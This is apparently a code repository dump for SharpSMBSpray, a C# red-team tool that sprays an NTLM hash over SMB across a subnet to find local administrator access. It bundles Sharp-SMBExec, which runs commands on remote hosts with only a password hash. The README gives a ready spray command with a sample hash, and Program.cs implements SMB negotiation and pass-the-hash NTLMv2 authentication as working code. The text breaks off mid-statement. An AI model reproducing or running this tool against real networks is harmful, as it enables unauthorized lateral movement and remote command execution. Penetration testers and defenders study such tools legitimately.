[
{
"path": ".gitattributes",
"content": "# Auto detect text files and perform LF normalization\n* text=auto\n"
},
{
"path": ".gitignore",
"content": ".vs\n*.user\n[Dd]ebug/\n[Rr]elease/\n[Bb]in/\n[Oo]bj/"
},
{
"path": "LICENSE",
"content": "BSD 3-Clause License\n\nCopyright (c) 2021, rvrsh3ll\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
},
{
"path": "README.md",
"content": "# SharpSMBSpray\n Spray a hash via smb to check for local administrator access\n \n## Example\n\nexecute-assembly /home/tester/Desktop/SharpSMBSpray.exe 192.168.1.0/24 Administrator 5A31C53A49CEEF591E8961D7ACCD2847"
},
{
"path": "Sharp-SMBExec/.gitattributes",
"content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln merge=binary\n#*.csproj merge=binary\n#*.vbproj merge=binary\n#*.vcxproj merge=binary\n#*.vcproj merge=binary\n#*.dbproj merge=binary\n#*.fsproj merge=binary\n#*.lsproj merge=binary\n#*.wixproj merge=binary\n#*.modelproj merge=binary\n#*.sqlproj merge=binary\n#*.wwaproj merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg binary\n#*.png binary\n#*.gif binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc diff=astextplain\n#*.DOC diff=astextplain\n#*.docx diff=astextplain\n#*.DOCX diff=astextplain\n#*.dot diff=astextplain\n#*.DOT diff=astextplain\n#*.pdf diff=astextplain\n#*.PDF diff=astextplain\n#*.rtf diff=astextplain\n#*.RTF diff=astextplain\n"
},
{
"path": "Sharp-SMBExec/.gitignore",
"content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n# User-specific files\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\n[Xx]64/\n[Xx]86/\n[Bb]uild/\nbld/\n[Bb]in/\n[Oo]bj/\n\n# Visual Studio 2015 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# DNX\nproject.lock.json\nartifacts/\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n\n# TODO: Un-comment the next line if you do not want to checkin \n# your web deploy settings because they may include unencrypted\n# passwords\n#*.pubxml\n*.publishproj\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/packages/*\n# except build/, which is used as an MSBuild target.\n!**/packages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/packages/repositories.config\n# NuGet v3's project.json files produces more ignoreable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Microsoft Azure ApplicationInsights config file\nApplicationInsights.config\n\n# Windows Store app package directory\nAppPackages/\nBundleArtifacts/\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!*.[Cc]ache/\n\n# Others\nClientBin/\n[Ss]tyle[Cc]op.*\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.pfx\n*.publishsettings\nnode_modules/\norleans.codegen.cs\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# LightSwitch generated files\nGeneratedArtifacts/\nModelManifest.xml\n\n# Paket dependency manager\n.paket/paket.exe\n\n# FAKE - F# Make\n.fake/"
},
{
"path": "Sharp-SMBExec/README.md",
"content": "# Sharp-SMBExec\nA native C# conversion of Kevin Robertsons Invoke-SMBExec powershell script. (https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1)\n\nBuilt for .NET 3.5\n\n# Usage\nSharp-SMBExec.exe hash:\"hash\" username:\"username\" domain:\"domain.tld\" target:\"target.domain.tld\" command:\"command\"\n\n# Description\nThis Assembly will allow you to execute a command on a target machine using SMB by providing an NTLM hash for the specified user.\n\n# Help\n```\nOption\t\t Description \nusername*\t\tUsername to use for authentication \nhash*\t\t\tNTLM Password hash for authentication. This module will accept either LM:NTLM or NTLM format \ndomain\t\t\tDomain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username\ntarget\t\t\tHostname or IP Address of the target. \ncommand\t\t\tCommand to execute on the target. If a command is not specified, the function will check to see if the username and hash provide local admin access on the target \nServiceName\t\tDefault = 20 Character Random. The Name of the service to create and delete on the target. \n-CheckAdmin Check admin access only, don't execute command\n-Help (-h)\t\tSwitch, Enabled debugging [Default='False'] \n-Debug\t\t\tPrint Debugging Information along with output\n-ForceSMB1\t\tForce SMB1. The default behavior is to perform SMB Version negotiation and use SMB2 if it's supported by the target [Default='False']\n-ComSpec\t\tPrepend %COMSPEC% /C to Command [Default='False'] \n```\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/App.config",
"content": "\n\n \n \n \n\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/ArgParse.cs",
"content": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace SharpInvoke_SMBExec\n{\n public static class ArgParse\n {\n //Argument parsing class from Rubeus (https://github.com/GhostPack/Rubeus/)\n //Author: @Harmj0y\n\n public static ArgumentParserResult Parse(IEnumerable args)\n {\n var arguments = new Dictionary();\n try\n {\n foreach (var argument in args)\n {\n var idx = argument.IndexOf(':');\n if (idx > 0)\n arguments[argument.Substring(0, idx).ToLower()] = argument.Substring(idx + 1);\n else if (argument.ToLower() == \"-debug\")\n arguments[\"debugging\"] = \"true\";\n else if (argument.ToLower() == \"-h\")\n arguments[\"showhelp\"] = \"true\";\n else if (argument.ToLower() == \"-help\")\n arguments[\"showhelp\"] = \"true\";\n else if (argument.ToLower() == \"-checkadmin\")\n arguments[\"admincheck\"] = \"true\";\n else if (argument.ToLower() == \"-forcesmb1\")\n arguments[\"forcesmb1\"] = \"true\";\n else if (argument.ToLower() == \"-smb1\")\n arguments[\"forcesmb1\"] = \"true\";\n else if (argument.ToLower() == \"-comspec\")\n arguments[\"comspec\"] = \"true\";\n else\n arguments[argument] = string.Empty;\n }\n\n return ArgumentParserResult.Success(arguments);\n }\n catch (System.Exception ex)\n {\n Console.WriteLine(ex.Message);\n return ArgumentParserResult.Failure();\n }\n }\n }\n public class ArgumentParserResult\n {\n public bool ParsedOk { get; }\n public Dictionary Arguments { get; }\n\n private ArgumentParserResult(bool parsedOk, Dictionary arguments)\n {\n ParsedOk = parsedOk;\n Arguments = arguments;\n }\n\n public static ArgumentParserResult Success(Dictionary arguments)\n => new ArgumentParserResult(true, arguments);\n\n public static ArgumentParserResult Failure()\n => new ArgumentParserResult(false, null);\n }\n}\n"
},
{
"path": "Sharp-SMBExec/SharpInvoke-SMBExec/Program.cs",
"content": "using System;\nusing System.Threading;\nusing System.Security.Cryptography;\nusing System.Diagnostics;\nusing System.Net.Sockets;\nusing System.Collections.Specialized;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace SharpInvoke_SMBExec\n{\n public class Program\n {\n\n public static void Main(string[] args)\n {\n \n string Target = args[0];\n string username = args[1];\n string domain = \"\";\n string command = \"\";\n string hash = args[2];\n string ServiceName = \"\";\n bool ForceSMB1 = false;\n bool ComSpec = false;\n int sleep = 15;\n bool debug = false;\n bool AdminCheck = true;\n\n\n //Trackers\n bool Login_Successful = false;\n bool Service_Deleted = false;\n bool SMBExec_Failed = false;\n bool SMB_execute = false;\n bool SMB_Signing = false;\n string Output_Username;\n string processID = BitConverter.ToString(BitConverter.GetBytes(Process.GetCurrentProcess().Id)).Replace(\"-\", \"\");\n string[] processID2 = processID.Split('-');\n StringBuilder output = new StringBuilder();\n int SMB2_Message_ID = 0;\n int SMB_Close_Service_Handle_Stage = 0;\n int SMB_Split_Stage = 0;\n int SMB_Split_Index_Tracker = 0;\n double SMB_Split_Stage_final = 0;\n //Communication\n byte[] SMBClientReceive = null;\n //Packet Reqs\n byte[] Process_ID_Bytes = Utilities.ConvertStringToByteArray(processID.ToString());\n byte[] SMB_Session_ID = null;\n byte[] Session_Key = null;\n byte[] SMB_Session_Key_Length = null;\n byte[] SMB_Negotiate_Flags = null;\n byte[] SMB2_Tree_ID = null;\n byte[] SMB_Client_Send = null;\n byte[] SMB_FID = new byte[2];\n byte[] SMB_Service_Manager_Context_Handle = null;\n byte[] SMB_Service_Context_Handle = null;\n byte[] SMB_Named_Pipe_Bytes = null;\n byte[] SMB_File_ID = null;\n byte[] SMB_User_ID = null;\n byte[] SMB_Header = null;\n byte[] SMB2_Header = null;\n byte[] SMB_Data = null;\n byte[] SMB2_Data = null;\n byte[] NetBIOS_Session_Service = null;\n byte[] NTLMSSP_Negotiate = null;\n byte[] NTLMSSP_Auth = null;\n byte[] SMB_Sign = null;\n byte[] SMB_Signature = null;\n byte[] SMB_Signature2 = null;\n byte[] SMB2_Sign = null;\n byte[] SMB2_Signature = null;\n byte[] SMB_Signing_Sequence = null;\n byte[] RPC_Data = null;\n byte[] SCM_Data = null;\n OrderedDictionary Packet_SMB_Header = null;\n OrderedDictionary Packet_SMB2_Header = null;\n OrderedDictionary Packet_SMB_Data = null;\n OrderedDictionary Packet_SMB2_Data = null;\n OrderedDictionary Packet_NTLMSSP_Negotiate = null;\n OrderedDictionary Packet_NTLMSSP_Auth = null;\n OrderedDictionary Packet_RPC_Data = null;\n OrderedDictionary Packet_SCM_Data = null;\n MD5CryptoServiceProvider MD5Crypto = new MD5CryptoServiceProvider();\n\n \n \n Output_Username = username;\n\n\n \n\n TcpClient SMBClient = new TcpClient();\n SMBClient.Client.ReceiveTimeout = 60000;\n\n try\n {\n SMBClient.Connect(Target, 445);\n }\n catch\n {\n //output.AppendLine(\"Could not connect to Target\");\n }\n\n if (SMBClient.Connected)\n {\n if (debug) { output.AppendLine(String.Format(\"Connected to {0}\", Target)); }\n NetworkStream SMBClientStream = SMBClient.GetStream();\n SMBClientReceive = new byte[1024];\n string SMBClientStage = \"NegotiateSMB\";\n\n while (SMBClientStage != \"exit\")\n {\n if (debug) { output.AppendLine(String.Format(\"Current Stage: {0}\", SMBClientStage)); }\n switch (SMBClientStage)\n {\n case \"NegotiateSMB\":\n {\n Packet_SMB_Header = new OrderedDictionary();\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x72 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 });\n Packet_SMB_Data = SMBExec.SMBNegotiateProtocolRequest(ForceSMB1);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n if (BitConverter.ToString(new byte[] { SMBClientReceive[4], SMBClientReceive[5], SMBClientReceive[6], SMBClientReceive[7] }).ToLower() == \"ff-53-4d-42\")\n {\n ForceSMB1 = true;\n if (debug) { output.AppendLine(\"Using SMB1\"); }\n SMBClientStage = \"NTLMSSPNegotiate\";\n if (BitConverter.ToString(new byte[] { SMBClientReceive[39] }).ToLower() == \"0f\")\n {\n if (debug) { output.AppendLine(\"SMB Signing is Enabled\"); }\n SMB_Signing = true;\n SMB_Session_Key_Length = new byte[] { 0x00, 0x00 };\n SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 };\n\n }\n else\n {\n if (debug) { output.AppendLine(\"SMB Signing is not Enforced\"); }\n SMB_Signing = false;\n SMB_Session_Key_Length = new byte[] { 0x00, 0x00 };\n SMB_Negotiate_Flags = new byte[] { 0x05, 0x82, 0x08, 0xa0 };\n\n }\n }\n else\n {\n if (debug) { output.AppendLine(\"Using SMB2\"); }\n SMBClientStage = \"NegotiateSMB2\";\n if (BitConverter.ToString(new byte[] { SMBClientReceive[70] }) == \"03\")\n {\n if (debug) { output.AppendLine(\"SMB Signing is Enabled\"); }\n SMB_Signing = true;\n SMB_Session_Key_Length = new byte[] { 0x00, 0x00 };\n SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 };\n }\n else\n {\n if (debug) { output.AppendLine(\"SMB Signing is not Enforced\"); }\n SMB_Signing = false;\n SMB_Session_Key_Length = new byte[] { 0x00, 0x00 };\n SMB_Negotiate_Flags = new byte[] { 0x05, 0x80, 0x08, 0xa0 };\n }\n }\n }\n break;\n case \"NegotiateSMB2\":\n {\n SMB2_Message_ID = 1;\n Packet_SMB2_Header = new OrderedDictionary();\n SMB2_Tree_ID = new byte[] { 0x00, 0x00, 0x00, 0x00 };\n SMB_Session_ID = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x00, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_SMB2_Data = SMBExec.SMB2NegotiateProtocolRequest();\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"NTLMSSPNegotiate\";\n\n }\n break;\n case \"NTLMSSPNegotiate\":\n {\n SMB_Client_Send = null;\n if (ForceSMB1)\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 });\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n }\n Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPNegotiate(SMB_Negotiate_Flags, null);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate);\n Packet_SMB_Data = SMBExec.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n }\n else\n {\n Packet_SMB2_Header = new OrderedDictionary();\n SMB2_Message_ID += 1;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPNegotiate(SMB_Negotiate_Flags, null);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate);\n Packet_SMB2_Data = SMBExec.SMB2SessionSetupRequest(NTLMSSP_Negotiate);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n }\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"exit\";\n }\n break;\n\n }\n }\n if (debug) { output.AppendLine(String.Format(\"Authenticating to {0}\", Target)); }\n string SMB_NTLSSP = BitConverter.ToString(SMBClientReceive);\n SMB_NTLSSP = SMB_NTLSSP.Replace(\"-\", \"\");\n int SMB_NTLMSSP_Index = SMB_NTLSSP.IndexOf(\"4E544C4D53535000\");\n int SMB_NTLMSSP_Bytes_Index = SMB_NTLMSSP_Index / 2;\n int SMB_Domain_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 12, SMBClientReceive);\n int SMB_Target_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 40, SMBClientReceive);\n SMB_Session_ID = Utilities.GetByteRange(SMBClientReceive, 44, 51);\n byte[] SMB_NTLM_challenge = Utilities.GetByteRange(SMBClientReceive, SMB_NTLMSSP_Bytes_Index + 24, SMB_NTLMSSP_Bytes_Index + 31);\n byte[] SMB_Target_Details = null;\n SMB_Target_Details = Utilities.GetByteRange(SMBClientReceive, (SMB_NTLMSSP_Bytes_Index + 56 + SMB_Domain_Length), (SMB_NTLMSSP_Bytes_Index + 55 + SMB_Domain_Length + SMB_Target_Length));\n byte[] SMB_Target_Time_Bytes = Utilities.GetByteRange(SMB_Target_Details, SMB_Target_Details.Length - 12, SMB_Target_Details.Length - 5);\n string hash2 = \"\";\n for (int i = 0; i < hash.Length - 1; i += 2) { hash2 += (hash.Substring(i, 2) + \"-\"); };\n byte[] NTLM_hash_bytes = (Utilities.ConvertStringToByteArray(hash.Replace(\"-\", \"\")));\n string Auth_Hostname = Environment.MachineName;\n byte[] Auth_Hostname_Bytes = Encoding.Unicode.GetBytes(Auth_Hostname);\n byte[] Auth_Domain_Bytes = Encoding.Unicode.GetBytes(domain);\n byte[] Auth_Username_Bytes = Encoding.Unicode.GetBytes(username);\n byte[] Auth_Domain_Length = BitConverter.GetBytes(Auth_Domain_Bytes.Length);\n Auth_Domain_Length = new byte[] { Auth_Domain_Length[0], Auth_Domain_Length[1] };\n byte[] Auth_Username_Length = BitConverter.GetBytes(Auth_Username_Bytes.Length);\n Auth_Username_Length = new byte[] { Auth_Username_Length[0], Auth_Username_Length[1] };\n byte[] Auth_Hostname_Length = BitConverter.GetBytes(Auth_Hostname_Bytes.Length);\n Auth_Hostname_Length = new byte[] { Auth_Hostname_Length[0], Auth_Hostname_Length[1] };\n byte[] Auth_Domain_offset = new byte[] { 0x40, 0x00, 0x00, 0x00 };\n byte[] Auth_Username_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + 64);\n byte[] Auth_Hostname_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + 64);\n byte[] Auth_LM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 64);\n byte[] Auth_NTLM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 88);\n HMACMD5 HMAC_MD5 = new HMACMD5();\n HMAC_MD5.Key = NTLM_hash_bytes;\n string Username_And_Target = username.ToUpper();\n byte[] Username_Bytes = Encoding.Unicode.GetBytes(Username_And_Target);\n byte[] Username_And_Target_bytes = Username_Bytes.Concat(Auth_Domain_Bytes).ToArray();\n byte[] NTLMv2_hash = HMAC_MD5.ComputeHash(Username_And_Target_bytes);\n Random r = new Random();\n byte[] Client_Challenge_Bytes = new byte[8];\n r.NextBytes(Client_Challenge_Bytes);\n\n\n\n byte[] Security_Blob_Bytes = (new byte[] { 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })\n .Concat(SMB_Target_Time_Bytes)\n .Concat(Client_Challenge_Bytes)\n .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 })\n .Concat(SMB_Target_Details)\n .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray();\n byte[] Server_Challenge_And_Security_Blob_Bytes = Server_Challenge_And_Security_Blob_Bytes = SMB_NTLM_challenge.Concat(Security_Blob_Bytes).ToArray();\n HMAC_MD5.Key = NTLMv2_hash;\n byte[] NTLMv2_Response = HMAC_MD5.ComputeHash(Server_Challenge_And_Security_Blob_Bytes);\n if (SMB_Signing)\n {\n byte[] Session_Base_Key = HMAC_MD5.ComputeHash(NTLMv2_Response);\n Session_Key = Session_Base_Key;\n HMACSHA256 HMAC_SHA256 = new HMACSHA256();\n HMAC_SHA256.Key = Session_Key;\n }\n NTLMv2_Response = NTLMv2_Response.Concat(Security_Blob_Bytes).ToArray();\n byte[] NTLMv2_Response_Length = BitConverter.GetBytes(NTLMv2_Response.Length);\n NTLMv2_Response_Length = new byte[] { NTLMv2_Response_Length[0], NTLMv2_Response_Length[1] };\n byte[] SMB_Session_Key_offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + NTLMv2_Response.Length + 88);\n\n byte[] NTLMSSP_response = (new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00 })\n .Concat(Auth_LM_Offset)\n .Concat(NTLMv2_Response_Length)\n .Concat(NTLMv2_Response_Length)\n .Concat(Auth_NTLM_Offset)\n .Concat(Auth_Domain_Length)\n .Concat(Auth_Domain_Length)\n .Concat(Auth_Domain_offset)\n .Concat(Auth_Username_Length)\n .Concat(Auth_Username_Length)\n .Concat(Auth_Username_Offset)\n .Concat(Auth_Hostname_Length)\n .Concat(Auth_Hostname_Length)\n .Concat(Auth_Hostname_Offset)\n .Concat(SMB_Session_Key_Length)\n .Concat(SMB_Session_Key_Length)\n .Concat(SMB_Session_Key_offset)\n .Concat(SMB_Negotiate_Flags)\n .Concat(Auth_Domain_Bytes)\n .Concat(Auth_Username_Bytes)\n .Concat(Auth_Hostname_Bytes)\n .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 })\n .Concat(NTLMv2_Response).ToArray();\n if (ForceSMB1)\n {\n Packet_SMB_Header = new OrderedDictionary();\n SMB_User_ID = new byte[] { SMBClientReceive[32], SMBClientReceive[33] };\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 });\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n }\n\n Packet_SMB_Header[\"SMBHeader_UserID\"] = SMB_User_ID;\n Packet_NTLMSSP_Negotiate = SMBExec.NTLMSSPAuth(NTLMSSP_response);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate);\n Packet_SMB_Data = SMBExec.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n }\n else\n {\n SMB2_Message_ID += 1;\n Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID);\n Packet_NTLMSSP_Auth = SMBExec.NTLMSSPAuth(NTLMSSP_response);\n SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header);\n NTLMSSP_Auth = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Auth);\n Packet_SMB2_Data = SMBExec.SMB2SessionSetupRequest(NTLMSSP_Auth);\n SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length);\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray();\n }\n\n\n\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n\n if (ForceSMB1)\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 9, 12)) == \"00-00-00-00\")\n {\n if (debug) { output.AppendLine(\"Authentication Successful\"); }\n Login_Successful = true;\n }\n else\n {\n output.AppendLine(\"Unable to authenticate to Target.\");\n Console.WriteLine(output.ToString());\n }\n }\n else\n {\n if 